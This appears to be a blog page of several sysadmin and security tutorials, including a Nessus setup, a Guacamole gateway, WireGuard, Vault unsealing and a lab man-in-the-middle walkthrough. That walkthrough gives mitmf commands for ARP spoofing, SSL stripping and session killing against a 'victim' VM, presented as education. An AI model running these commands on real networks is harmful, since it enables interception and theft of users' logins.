Nessus on AWS

Nessus is a vulnerability scanner from Tenable. In this tutorial I will show how you can install Nessus on AWS (Debian), how you connect your local browser and perform a simple network scan. You need only a AWS account (eq Free Tier), SSH and a web browser.

Note: Please have a look on that page about pentesting on AWS first.

Create new EC2 instance

Login into your AWS console (or use AWSCLI), create a new SecurityGroup with SSH port 22 only (inbound) and launch a new instance. Search for “Debian”…

AWS EC2 Debian 9
Debian 9 on AWS Maretplace

Press button “Select” and finish all needed following steps (save your keys). After your EC2 instance is ready check for IP or DNS and connect.

# connect via SSH to EC2 instance
$ ssh -i ~/.ssh/ admin@<instance>

# compile a list of locale definition files (optional)
$ sudo locale-gen UTF-8

Install Nessus

Open download page and select latest version for Debian (as I wrote this tutorial it was Nessus-8.5.1-debian6_amd64.deb). Confirm and download. Via SCP, in new terminal, you can upload the file to your EC2 instance.

# copy file from local to remote
$ scp -i ~/.ssh/ ~/Downloads/Nessus-8.5.1-debian6_amd64.deb  admin@<instance>:/tmp

Back to instance terminal … Now install and start Nessus.

# install package
$ sudo dpkg -i /tmp/Nessus-8.5.1-debian6_amd64.deb

# start Nessus
$ sudo /etc/init.d/nessusd start

Use Nessus

To make our life easier, we will create a simple SSH port-forward.

# create port-forwarding
$ ssh -i ~/.ssh/ -L 8834:127.0.0.1:8834 admin@<instance>

# open browser
$ open https://localhost:8834

Now you can open your favourite browser with URL: https://localhost:8834.

Nessus Initialization
Initialisation of Nessus

When the initialization has been completed successfully, login and create a new scan. Select “Basic Network Scan” and add URL: http://scanme.nmap.org. Select “Basic Network Scan” and “Port scan (common ports)” for scan settings. Save and start your created scan. Please be patient, the scan will take a while.

Nessus scan
Running Nessus scan

Create a scan report

After a while, the scan is complete. Now you can create a “Custom” report. BTW … feature is only available for completed scans. So select “Export” – “Custom” and generate the report.

Nessus Report
Create custom HTML report

Apache Guacamole

Apache Guacamole … What is it about? It’s a client-less remote gateway for Telnet, SSH, RDP and VNC. Client-less, because there is no need to install any plugin or additional software for users (clients). The client will use just the browser (also without any plugin). In this tutorial we will create a very simple environment via Vagrant and use Guacamole. Why the tutorial? Because I know a lot of testers for example – who work with Windows, who are not allowed to install any software (eq Putty) but still need access to environments. … Next point are for example public security groups on cloud providers. Here only one port would be needed to support different protocols on different hosts (incl. file transfer).

What we need?

Project preparation

# create project
$ mkdir -p ~/Projects/Guacamole/src

# change directory
$ cd ~/Projects/Guacamole/

# create needed files in root folder
$ touch {Vagrantfile,ShellProvisioner.sh}

# create needed files in root folder
$ touch ./src/{guacamole.properties,server.xml,user-mapping.xml,Xwrapper.config}

# show project (optional)
$ tree ~/Projects/Guacamole/
|____src
| |____guacamole.properties
| |____server.xml
| |____user-mapping.xml
| |____Xwrapper.config
|____ShellProvisioner.sh
|____Vagrantfile

Okay, via your favorite editor you now add the content of all files. All files inside directory “src” are configuration files (installed on Guacamole host).

# Hostname and port of guacamole proxy
guacd-hostname:      localhost
guacd-port:          4822
available-languages: en, de

auth-provider: net.sourceforge.guacamole.net.basic.BasicFileAuthenticationProvider
basic-user-mapping: /etc/guacamole/user-mapping.xml
<?xml version="1.0" encoding="UTF-8"?>
<Server port="-1" shutdown="SHUTDOWN">
  <Listener className="org.apache.catalina.startup.VersionLoggerListener" />
  <Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="on" />
  <Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener" />
  <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" />
  <Listener className="org.apache.catalina.core.ThreadLocalLeakPreventionListener" />
  <GlobalNamingResources>
    <Resource name="UserDatabase" auth="Container"
              type="org.apache.catalina.UserDatabase"
              description="User database that can be updated and saved"
              factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
              pathname="conf/tomcat-users.xml" />
  </GlobalNamingResources>
  <Service name="Catalina">
    <Connector port="55555" protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" />
    <Engine name="Catalina" defaultHost="localhost">
      <Realm className="org.apache.catalina.realm.LockOutRealm">
        <Realm className="org.apache.catalina.realm.UserDatabaseRealm"
               resourceName="UserDatabase"/>
      </Realm>
      <Host name="localhost"  appBase="webapps"
            unpackWARs="true" autoDeploy="true">
        <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
               prefix="localhost_access_log" suffix=".txt"
               pattern="%h %l %u %t "%r" %s %b" />
      </Host>
    </Engine>
  </Service>
</Server>

This file (user-mapping.xml) is the configuration for all your connections.

<user-mapping>

  <authorize username="USERNAME" password="PASSWORD">
    <!--
    <connection name="Debian2: RDP Connection">
      <protocol>rdp</protocol>
      <param name="hostname">localhost</param>
      <param name="port">3389</param>
    </connection>
    -->

    <connection name="Debian2: VNC Connection">
      <protocol>vnc</protocol>
      <param name="hostname">localhost</param>
      <param name="port">5901</param>
      <param name="password">vagrant</param>
    </connection>

    <connection name="Debian2: SSH Connection">
      <protocol>ssh</protocol>
      <param name="hostname">localhost</param>
      <param name="port">22</param>
      <param name="username">vagrant</param>
    </connection>

    <connection name="Debian1: SSH Connection">
      <protocol>ssh</protocol>
      <param name="hostname">192.168.10.5</param>
      <param name="port">22</param>
      <param name="username">vagrant</param>
    </connection>

    <connection name="Debian2: Telnet Connection">
      <protocol>telnet</protocol>
      <param name="hostname">localhost</param>
      <param name="port">23</param>
      <param name="username">vagrant</param>
    </connection>
  </authorize>
</user-mapping>
allowed_users=anybody

The ShellProvisioner.sh includes all installation and configuration for Guacamole All examples are provided but for Debian RDP is currently not working and I commented out.

echo '>>>>Install some default packages<<<<<'
sudo apt update -y -q
sudo apt install -y -q build-essential htop libcairo2-dev libjpeg62-turbo-dev libjpeg-dev libpng-dev libossp-uuid-dev
# install optional guacamole packages eq FFmpeg, SSH
sudo apt install -y -q libavcodec-dev libavutil-dev libswscale-dev libpango1.0-dev libssh2-1-dev libssl-dev libvorbis-dev libwebp-dev

echo '>>>>Install and configure tomcat packages<<<<<'
sudo apt install -y -q tomcat9 tomcat9-admin tomcat9-common tomcat9-user
sudo mkdir -p /usr/share/tomcat9/.guacamole
sudo cp /tmp/guacamole/server.xml /etc/tomcat9/server.xml
sudo chown root:tomcat /etc/tomcat9/server.xml
sudo chmod 0640 /etc/tomcat9/server.xml

echo '>>>>Configure default guacamole directory structure<<<<<'
sudo cp -r /tmp/guacamole /etc/guacamole
sudo mkdir -p /etc/guacamole/{extensions,lib}
sudo chown -R root:root /etc/guacamole
sudo chmod 0640 /etc/guacamole/user-mapping.xml
sudo chown root:tomcat /etc/guacamole/user-mapping.xml
sudo ln -s /etc/guacamole/guacamole.properties /var/lib/tomcat9/.guacamole

echo '>>>>Install and configure telnet packages<<<<<'
sudo apt install -y -q telnetd libtelnet-dev

echo '>>>>Install and configure xrdp packages<<<<<'
# actualy broken becauce of freerdp2-dev on debian
# sudo apt install -y -q xrdp freerdp2-dev
# sudo cp /etc/guacamole/Xwrapper.config /etc/X11/Xwrapper.config
# sudo chown root:root /etc/X11/Xwrapper.config
# sudo chmod 0644 /etc/X11/Xwrapper.config
# sudo systemctl enable xrdp.service
# sudo systemctl enable xrdp-sesman.service
# sudo systemctl start xrdp
# sudo systemctl start xrdp-sesman

echo '>>>>Install and configure vnc packages'
sudo apt install -y -q xfce4 xfce4-goodies gnome-icon-theme tightvncserver libvncserver-dev libpulse-dev

echo '>>>>Install guacamole client and restart tomcat<<<<<'
curl -s -O -J -L "http://apache.org/dyn/closer.cgi?action=download&filename=guacamole/1.0.0/binary/guacamole-1.0.0.war"
sudo cp guacamole-1.0.0.war /var/lib/tomcat9/webapps/guacamole.war
sudo chown tomcat:tomcat /var/lib/tomcat9/webapps/guacamole.war
sudo systemctl restart tomcat9

echo '>>>>Install guacamole server<<<<<'
curl -s -O -J -L "http://apache.org/dyn/closer.cgi?action=download&filename=guacamole/1.0.0/source/guacamole-server-1.0.0.tar.gz"
tar xzf guacamole-server-1.0.0.tar.gz
cd guacamole-server-1.0.0/
# space after etc is wrong
sudo ./configure --with-init-dir=/etc /init.d
sudo make
sudo make install
sudo ldconfig
sudo update-rc.d guacd defaults

echo '>>>>Start guacamole server/daemon<<<<<'
sudo systemctl start guacd

echo '>>>>Show open ports<<<<<'
sudo lsof -i -P -n | grep LISTEN

echo '>>>>Start clean-up<<<<<'
sudo rm /etc/guacamole/Xwrapper.config
sudo rm /etc/guacamole/server.xml
sudo rm -fr /tmp/guacamole
sudo rm -fr /home/vagrant/guacamole-server-1.0.0s
sudo rm /home/vagrant/guacamole-server-1.0.0.tar.gz
sudo rm /home/vagrant/guacamole-1.0.0.war
# -*- mode: ruby -*-
# vi: set ft=ruby :

BOX_1_NAME = "debian-1-guacamole"
BOX_2_NAME = "debian-2-guacamole"
BOX_BASE = "generic/debian10"
BOX_RAM_MB = 1024
BOX_CPU_COUNT = 1
BOX_GUI = false
BOX_SYNC_DIR = true

Vagrant.configure("2") do |config|

  config.vm.define BOX_1_NAME do |deb1|
    deb1.vm.box = BOX_BASE
    deb1.vm.synced_folder ".", "/vagrant", disabled: BOX_SYNC_DIR
    deb1.vm.hostname = BOX_1_NAME
    deb1.vm.network "private_network", ip: "192.168.10.5"
    deb1.vm.provider "virtualbox" do |vb1|
      vb1.name = BOX_1_NAME
      vb1.cpus = BOX_CPU_COUNT
      vb1.memory = BOX_RAM_MB
      vb1.gui = BOX_GUI
    end
  end

  config.vm.define BOX_2_NAME do |deb2|
    deb2.vm.box = BOX_BASE
    deb2.vm.synced_folder ".", "/vagrant", disabled: BOX_SYNC_DIR
    deb2.vm.hostname = BOX_2_NAME
    deb2.vm.network "forwarded_port", guest: 55555, host: 55555
    # deb2.vm.network "forwarded_port", guest: 5901, host: 5901
    # deb2.vm.network "forwarded_port", guest: 3389, host: 3389
    # deb2.vm.network "forwarded_port", guest: 23, host: 2323
    deb2.vm.network "private_network", ip: "192.168.10.10"
    deb2.vm.provider "virtualbox" do |vb2|
      vb2.name = BOX_2_NAME
      vb2.cpus = BOX_CPU_COUNT
      vb2.memory = BOX_RAM_MB
      vb2.gui = BOX_GUI
    end
    deb2.vm.provision "file", source: "./src", destination: "/tmp/guacamole"
    deb2.vm.provision "shell", name: "install", path: "./ShellProvisioner.sh"
  end

end

Usage

First start-up the environment (via simple Vagrant command) and next start the VNC inside the box. You can do via vagrant ssh or you start the VNC via Browser (SSH).

# start environment (be patient)
$ vagrant up

# show status (optional)
$ vagrant status

# ssh into 2nd box
$ vagrant ssh debian-2-guacamole

# start VNC server on user vagrant
$ vncserver

# Password: vagrant
# Verify: vagrant
# Would you like to enter a view-only password (y/n)? n

# exit ssh into box
$ exit

# open browser with URL
$ open http://localhost:55555/guacamole

Now login with “USERNAME/PASSWORD” (see src/user-mapping.xml) on http://localhost:55555/guacamole. If everything works it should look like this:

Guacamole on browser

Please have a look here https://guacamole.apache.org/doc/gug/index.html to learn more about configuration and authentication. All files which we used in this tutorial are available via https://github.com/Lupin3000/GuacamoleExample.

Simple VPN via WireGuard

This tutorial will show how to setup a simple test environment via Vagrant and to install, configure and use WireGuard VPN software. In this tutorial Debian 10 is used, you can find the documentation about other OS on WireGuard website.

Preparation

First make sure VirtualBox and Vagrant are installed in latest versions. Now create needed project and files.

# create directory
$ mkdir -p ~/Projects/WireGuard

# change directory
$ cd ~/Projects/WireGuard

# create needed files
$ touch Vagrantfile
$ touch machines.yml
--
- name: host-a
  box: generic/debian10
  ip: 192.168.100.10
  cpus: 1
  memory: 1024
- name: host-b
  box: generic/debian10
  ip: 192.168.100.20
  cpus: 1
  memory: 1024
# -*- mode: ruby -*-
# vi: set ft=ruby :

require 'yaml'
machines = YAML.load_file('machines.yml')

Vagrant.configure("2") do |config|
  machines.each do |machines|
    config.vm.define machines["name"] do |machine|
      # box settings
      machine.vm.hostname = machines["name"]
      machine.vm.box = machines["box"]
      machine.vm.synced_folder ".", "/vagrant", disabled: true
      machine.vm.network "private_network", ip: machines["ip"]

      # virtualbox settings
      machine.vm.provider :virtualbox do |vb|
        vb.name = machines["name"]
        vb.cpus = machines["cpus"]
        vb.memory = machines["memory"]
        vb.gui = false
      end

      # provision all
      machine.vm.provision "shell", name: "all", inline: <<-SHELL
        sudo echo "deb http://deb.debian.org/debian/ unstable main" > /etc/apt/sources.list.d/unstable.list
        sudo printf 'Package: *\nPin: release a=unstable\nPin-Priority: 90\n' > /etc/apt/preferences.d/limit-unstable
        sudo apt update -y && sudo apt install -y wireguard
      SHELL

      # provision only host-a
      if machines["name"] == 'host-a'
        machine.vm.provision "shell", name: "host-a only", inline: <<-SHELL
          sudo su -
          cd ~
          wg genkey > private
          ip link add wg0 type wireguard
          ip addr add 10.0.0.1/24 dev wg0
          wg set wg0 private-key ./private
          ip link set wg0 up
          ip addr
          wg
        SHELL
      end

      # provision only host-b
      if machines["name"] == 'host-b'
        machine.vm.provision "shell", name: "host-b only", inline: <<-SHELL
          sudo su -
          cd ~
          wg genkey > private
          wg pubkey < private
          ip link add wg0 type wireguard
          ip addr add 10.0.0.2/24 dev wg0
          wg set wg0 private-key ./private
          ip link set wg0 up
          ip addr
          wg
        SHELL
      end
    end
  end
end

Usage

All files are created and we can start to start the environment.

# validate Vagrantfile
$ vagrant validate

# start environment
$ vagrant up

For box 1 (host-a)

# ssh into box
$ vagrant ssh host-a

# check network interfaces (for ip)
$ sudo ip addr

# check wg settings
$ sudo wg

# configure VPN interface
$ sudo wg set wg0 peer 0WqUA1Se9Cp/+/AUwiK+K7Nb67kzfyH1Q+SZB9QxFUI= allowed-ips 10.0.0.2/24 endpoint 192.168.100.20:36096

# ping via normal interface and VPN interface
$ ping -c 1  192.168.100.20
$ ping -c 1  10.0.0.1

# check wg settings
$ sudo wg

For box 2 (host-b)

# ssh into box
$ vagrant ssh host-b

# check network interfaces (for ip)
$ sudo ip addr

# check wg settings
$ sudo wg

# configure VPN interface
$ sudo wg set wg0 peer 5QYy8eps/qU2SAZibvfokLwwORxRHQ04JfX9107Db2k= allowed-ips 10.0.0.1/24 endpoint 192.168.100.10:36096

# ping via normal interface and VPN interface
$ ping -c 1  192.168.100.20
$ ping -c 1  10.0.0.2

# check wg settings
$ sudo wg

Important is that your ports and keys will be different and be patient before start ping each other – have fun…

Man in the Middle Attack (MITM)

In this tutorial you will learn how to work a man in the middle attack. For this you will create and configure a simple test environment. The test environment simulates a small home network with a NAT router, a client (victim) and another client (evil) that has already penetrated the network. For the attack itself, you will get in touch with popular mitmf framework.

Attention: The tutorial is presented just for educational purposes. If you do what you have learned outside the test environment, you may be liable to prosecution.

Requirements

  • VirtualBox (5.2.18)
  • Vagrant (2.1.5)

Prepare environment

In the first step, you need to configure, setup and provision the environment. Vagrant will help you here. Via Vagrant you will create all needed virtual machines (incl. SSH keys) and install the needed packages on the evil engine. Via file machines.yml you could add Vagrant boxes for Windows, macOS as well.

# create project
$ mkdir -p ~/Projects/ExampleEnv && cd ~/Projects/ExampleEnv

# create needed files
$ touch Vagrantfile machines.yml

# edit machines.yml (copy content into file)
$ vim machines.yml

# edit Vagrantfile (copy content into file)
$ vim Vagrantfile

# run Vagrant
$ vagrant up
---
  - name: evil
    box: debian/stretch64
    cpus: 1
    memory: 1024
  - name: victim
    box: chad-thompson/ubuntu-trusty64-gui
    cpus: 1
    memory: 1024

Note: Please remove the spaces behind etc (in the Vagrantfile)! These are only because of the security settings of my provider.

# -*- mode: ruby -*-
# vi: set ft=ruby :

require 'yaml'
machines = YAML.load_file('machines.yml')

Vagrant.configure("2") do |config|
  machines.each do |machines|
    config.vm.define machines["name"] do |machine|

      # define vagrant box
      machine.vm.box = machines["box"]
      # disbale default synced_folder
      machine.vm.synced_folder ".", "/vagrant", disabled: true
      # configure virtualbox
      machine.vm.provider :virtualbox do |vb|
        vb.name = machines["name"]
        vb.cpus = machines["cpus"]
        vb.memory = machines["memory"]
        vb.gui = false
      end
      # provisioning: only evil
      if machines["name"] == 'evil'
        machine.vm.provision "shell", inline: <<-SHELL
          echo 'deb http://http.kali.org/kali kali-rolling main non-free contrib' >> /etc /apt/sources.list
          echo 'deb-src http://http.kali.org/kali kali-rolling main non-free contrib' >> /etc /apt/sources.list
          apt-get update
          apt-get install -y --allow-unauthenticated mitmf
        SHELL
      end

    end
  end
end

Small network changes

You must now switch from typical NAT to NAT network. For that you stop (halt) all VM’s. In the next steps you will create a new NAT network and configure the VM network adapters for this network. In the end, you simulated a simple home network.

# stop all VM's
$ vagrant halt

# create new VirtualBox NAT-Network
$ VBoxManage natnetwork add --netname homenet --network "192.168.15.0/24" --enable --dhcp on --ipv6 off

# list all NAT-Networks (optional)
$ VBoxManage list natnetworks

# change interfaces from NAT to NAT-Network for evil VM
$ VBoxManage modifyvm evil --nic1 natnetwork --nat-network1 homenet

# change mac address for evil VM
$ VBoxManage modifyvm evil --macaddress1 08002707B96E

# show network configuration for evil (optional)
$ VBoxManage showvminfo evil | grep "NIC"

# change interfaces from NAT to NAT-Network for victim VM
$ VBoxManage modifyvm victim --nic1 natnetwork --nat-network1 homenet

# change mac address for victim VM
$ VBoxManage modifyvm victim --macaddress1 080027C0B653

# some Ubuntu VirtualBox changes
$ VBoxManage modifyvm victim --accelerate3d on --vram 128

# show network configuration for victim (optional)
$ VBoxManage showvminfo victim | grep "NIC"

Start all VM’s again

In this step we start all VM’s but without Vagrant.

# start evil VM
$ VBoxManage startvm evil

# start victim VM
$ VBoxManage startvm victim

Now check the network interfaces for both VM’s. Please note down the IP’s, you will need them in next steps. You can login in both with credentials vagrant:vagrant.

# evil VM
$ ip -4 addr
...
inet 192.168.15.5

# victim VM
$ ip -4 addr
...
192.168.15.6

Note: In the example the evil VM has the IP: 192.168.15.5 and the victim the IP: 192.168.15.6 – this could be different for you.

In order not to use the VirtualBox Terminal, create a port forward from the localhost to the evil VM.

# add port forwarding from localhost to evil VM
$ VBoxManage natnetwork modify --netname homenet --port-forward-4 "evilssh:tcp:[]:2222:[192.168.15.5]:22"

# ssh connection to evil
$ ssh -i .vagrant/machines/evil/virtualbox/private_key -p 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null vagrant@localhost

Man-in-the-middle attack

You made it, the test environment is finally ready. If you have been able to learn something new up to this point, I am glad. Now imagine the following situation. You are the victim and you surf the Internet, logging in on your popular websites. Can you imagine what can happen? In a few minutes you will see it.

Once the Ubuntu has booted, run the following command (as evil) and surf the web using the Firefox browser (as victim). If the mitmf returns an error message, repeat the command in the terminal. Be a bit patient on successful call.

# change to root
$ sudo su -

# enable ip4_forward (only this session)
$ sysctl -w net.ipv4.ip_forward=1

# check ip4_forwarding is enabled (optional)
$ sysctl net.ipv4.ip_forward

# start mitmf (incl. ARP spoofing)
$ mitmf --spoof --arp -i eth0 --gateway 192.168.15.1 --target 192.168.15.6

# start mitmf (incl. ARP spoofing, enabled SSLstrip, Session kill)
$ mitmf --spoof --arp --hsts -k -i eth0 --gateway 192.168.15.1 --target 192.168.15.6

Mitmf still offers a lot of plug-ins, just give it a try.

Unseal Vault with PGP

In this tutorial I will show an example for unsealing Vault using GPG. We generate for two users the keys and each user will use them to unseal. For the storage we use Consul.

Conditions

Host Preparation

First we need to setup, configure and start Consul and Vault.

Note: Because of the security settings of my provider, spaces are after “etc”. Please delete it after copy/paste.

# create new project
$ mkdir -p ~/Projects/VaultConsulPGP/consul-data && cd ~/Projects/VaultConsulPGP

# create private/public keys
$ openssl req -newkey rsa:4096 -nodes -keyout private_key.pem -x509 -days 365 -out public_key.pem
...
Country Name (2 letter code) []:CH
State or Province Name (full name) []:Zuerich
Locality Name (eg, city) []:Winterthur
Organization Name (eg, company) []:Softwaretester
Organizational Unit Name (eg, section) []:QA
Common Name (eg, fully qualified host name) []:demo.env
Email Address []:demo@demo.env
...

# create HCL configuration
$ touch ~/Projects/VaultConsulPGP/vault.hcl

# add hosts entry
$ echo -e "127.0.0.1 demo.env\n" >> /etc /hosts

# start consul service
$ consul agent -server -bootstrap-expect 1 -data-dir $HOME/Projects/VaultConsulPGP/consul-data -ui

# start vault service
$ vault server -config $HOME/Projects/VaultConsulPGP/vault.hcl

Do not stop and/or close any terminal sessions!

ui = true

storage "consul" {
  address = "127.0.0.1:8500"
  path    = "vault"
}

listener "tcp" {
  address       = "demo.env:8200"
  tls_cert_file = "public_key.pem"
  tls_key_file  = "private_key.pem"
}

Your project folder now should look like this:

# show simple folder tree
$ find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'
.
|____private_key.pem
|____vault_tutorial.md
|____vault.hcl
|____consul-data
|____public_key.pem

Client Preparation

As I wrote – we need to simulate two users. Now to the Docker client’s…

# run client A
$ docker run -ti --name client_a --mount type=bind,source=$HOME/Projects/VaultConsulPGP,target=/tmp/target bitnami/minideb /bin/bash

# run client B
docker run -ti --name client_b --mount type=bind,source=$HOME/Projects/VaultConsulPGP,target=/tmp/target bitnami/minideb /bin/bash

Both client’s need similar configuration, so please execute the following steps on both containers.

# install needed packages
$ apt-get update && apt-get install -y curl unzip gnupg iputils-ping

# get host IP
$ HOST_IP=$(ping -c 1 host.docker.internal | grep "64 bytes from"|awk '{print $4}')

# add hosts entry
$ echo -e "${HOST_IP} demo.env\n" >> /etc /hosts

# download vault
$ curl -C - -k https://releases.hashicorp.com/vault/0.10.4/vault_0.10.4_linux_amd64.zip -o /tmp/vault.zip

# extract archive and move binary and clean up
$ unzip -d /tmp /tmp/vault.zip && mv /tmp/vault /usr/local/bin/ && rm /tmp/vault.zip

# generate GPG key (1x for each client)
$ gpg --gen-key
...
Real name: usera
...
Real name: userb
...
# don't set a passphrase!!!!

# export generated key (client 1)
$ gpg --export [UID] | base64 > /tmp/target/usera.asc

# export generated key (client 2)
$ gpg --export [UID] | base64 > /tmp/target/userb.asc

Your project folder now should look like this:

# show simple folder tree
$ find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'
.
|____private_key.pem
|____vault_tutorial.md
|____vault.hcl
|____consul-data
     |____ ...
     |____ ...
|____public_key.pem
|____usera.asc
|____userb.asc

Initialize and Unseal Vault

On the host we initialize the Vault and share unseal key’s back to the client’s.

# set environment variables
$ export VAULT_ADDR=https://demo.env:8200
$ export VAULT_CACERT=public_key.pem

# ensure proper location (host)
cd ~/Projects/VaultConsulPGP

# initialize vault
$ vault operator init -key-shares=2 -key-threshold=2 -pgp-keys="usera.asc,userb.asc"

Note: Save now all keys and share the correspondending <unseal keys> to the client’s!

Now our client’s can start the unseal of Vault. Even here, please execute the following steps on both containers.

# set environment variables
$ export VAULT_ADDR=https://demo.env:8200
$ export VAULT_CACERT=/tmp/target/public_key.pem

# decode unseal key
$ echo "<unseal key>" | base64 -d | gpg -dq

# unseal vault
$ vault operator unseal <...>

Just for information

We configured both services (Consul and Vault) with WebUI.

# open Consul in Firefox
$ open -a Firefox http://127.0.0.1:8500

# open Vault in Firefox
$ open -a Firefox https://demo.env:8200/ui

Use the “Initial Root Token” to login into Vault’s WebUI.

Create a simple video test environment (Part 3)

Okay, now is time to see some command line tools to analysis videos. I selected 4 Open-Source applications (avprobe, mediainfo, mplayer, exiftool).

Specification

  • docker
  • git

Get ready for docker images

On Bitbucket I created a repository with needed Dockerfiles for fast usage. You can also choose the installation method.

# change directory (optional)
$ cd ~/Projects/

# clone repository
$ git clone https://bitbucket.org/Lupin3000/tinydockerapps ~/Projects/tinydockerapps

# change directory
$ cd ~/Projects/VideoTest/

# build docker image for mediainfo
$ docker build -t debian/mediainfo ~/Projects/tinydockerapps/mediainfo/

# build docker image for mplayer
$ docker build -t debian/mplayer ~/Projects/tinydockerapps/mplayer/

# build docker image for exiftool
$ docker build -t debian/exiftool ~/Projects/tinydockerapps/exiftool/

# build docker image for avprobe
$ docker build -t debian/avprobe ~/Projects/tinydockerapps/avprobe/

# check available images (optional)
$ docker images

mediainfo

Lets start with mediainfo. Here some information about on wikipedia.

# list help
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/mediainfo --help

# run simple scan
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/mediainfo demo.mp4

# run full scan
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/mediainfo -f demo.mp4

# show aspect ratio
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/mediainfo --Inform="Video;%DisplayAspectRatio%" demo.mp4

# show duration
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/mediainfo --Inform="General;%Duration/String3%" demo.mp4

# show audio format
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/mediainfo --Inform="Audio;%Format%" demo.mp4

# show resolution and codec
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/mediainfo --Inform="Video;Resolution=%Width%x%Height%\nCodec=%CodecID%" demo.mp4

# list all possible file parameters
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/mediainfo --info-parameters | less

# create XML report (all internal tags)
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/mediainfo -f --Output=XML demo.mp4

# show mediatrace info
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/mediainfo --Details=1 demo.mp4

# create report file
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/mediainfo demo.mp4 --LogFile="Report.log"

mplayer

Second application is mplayer. Here the wikipedia link.

# list help
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/mplayer --help

# show all properties
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/mplayer -vo null -ao null -frames 0 -identify demo.mp4

# show all video properties
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/mplayer -vo null -ao null -frames 0 -identify demo.mp4 | grep VIDEO

# show all audio properties
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/mplayer -vo null -ao null -frames 0 -identify demo.mp4 | grep AUDIO

# show video format
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/mplayer -vo null -ao null -frames 0 -identify demo.mp4 | grep ID_VIDEO_FORMAT

exiftool

Now we take a look on exiftool. Here the wikipedia article and the official documentation.

# show all parameters
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/exiftool demo.mp4

# show all parameters sort by group (including duplicate and unknown tags)
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/exiftool -a -u -g1 demo.mp4

# show friendly parameters
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/exiftool -s -G demo.mp4

# show Height and Width
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/exiftool '-*source*image*' demo.mp4

# show audio format
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/exiftool '-*Audio*Format*' demo.mp4

# show video duration
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/exiftool '-*Duration*' demo.mp4 | head -1

# create json output with specific values
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/exiftool -j -VideoFrameRate -MediaDuration demo.mp4 > report.json

# create csv report file with specific values
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/exiftool -csv -FileSize -ImageWidth -ImageHeight -AudioFormat -AudioChannels demo.mp4 > report.csv

avprobe

Last but not least avprobe. Here the wikipedia article and detailed official documentation.

# list help
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/avprobe --help

# list available formats
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/avprobe -formats

# list available codecs
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/avprobe -codecs

# show all properties
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/avprobe demo.mp4

# show stream properties in json format
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/avprobe -of json -loglevel quiet -show_streams demo.mp4

# show specific properties
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/avprobe -show_format -show_streams -pretty demo.mp4

# show size properties
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/avprobe -show_entries format=size demo.mp4

# show duration and size properties
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/avprobe -loglevel quiet -show_entries format=duration,size demo.mp4

# show duration and size properties in json format
$ docker run --rm -i -v ~/Projects/VideoTest/:/mnt debian/avprobe -of json -loglevel quiet -show_entries format=duration,size demo.mp4

Compare tools by expecting specific result

I will not judge the applications against each other! But here a compare of complexity of commands and output for video duration.

# get duration by exiftool
$ exiftool -s -s -s  -MediaDuration demo.mp4
...
0:01:04

# get duration by mediainfo
$ mediainfo --Inform="General;%Duration/String3%" demo.mp4
...
00:01:04.884

# get duration by avprobe
$ avprobe -v error -sexagesimal -show_entries format=duration -of default=noprint_wrappers=1:nokey=1 demo.mp4
...
0:01:04.884000

# get duration by mplayer
$ mplayer -vo null -ao null -frames 0 -nolirc -identify demo.mp4 | grep ID_LENGTH | cut -d'=' -f2
...
64.88

Build notifications with CatLight

CatLight is the the perfect app if you would like to know the current status of your continuous delivery pipelines, tasks and bugs. Without looking on E-Mails or visit build servers you know when attention is needed. It’s available for Debian, Ubuntu, Windows and MacOS.

CatLight works with Jenkins, TFS, Travis CI and many more.

catlight setup

After successful installation and configuration, CatLight offers a lot of cool features.

catlight jobs

For personal usage it’s free, you only have to register.

Lunar – a UNIX security auditing tool

LUNAR is a open source UNIX security auditing tool written in Shell script. It offers the audit for various operating systems like Linux (RHEL, CentOS, Debian, Ubuntu), Solaris and Mac OS with less requirements. Services like Docker and AWS are also supported.

Download

Clone repository

# git clone
$ git clone https://github.com/lateralblast/lunar.git

Download via curl

# download via curl
$ curl -L -C - -o lunar.zip https://github.com/lateralblast/lunar/archive/master.zip

# extract archive
$ unzip lunar.zip

Usage

The use is very easy… but the outcome brings much values.

# show help
$ sh lunar.sh -h

# list functions
$ sh lunar.sh -S

# run ssh audit
$ sh lunar.sh -s audit_ssh_config

# run selinux audit in verbose mode
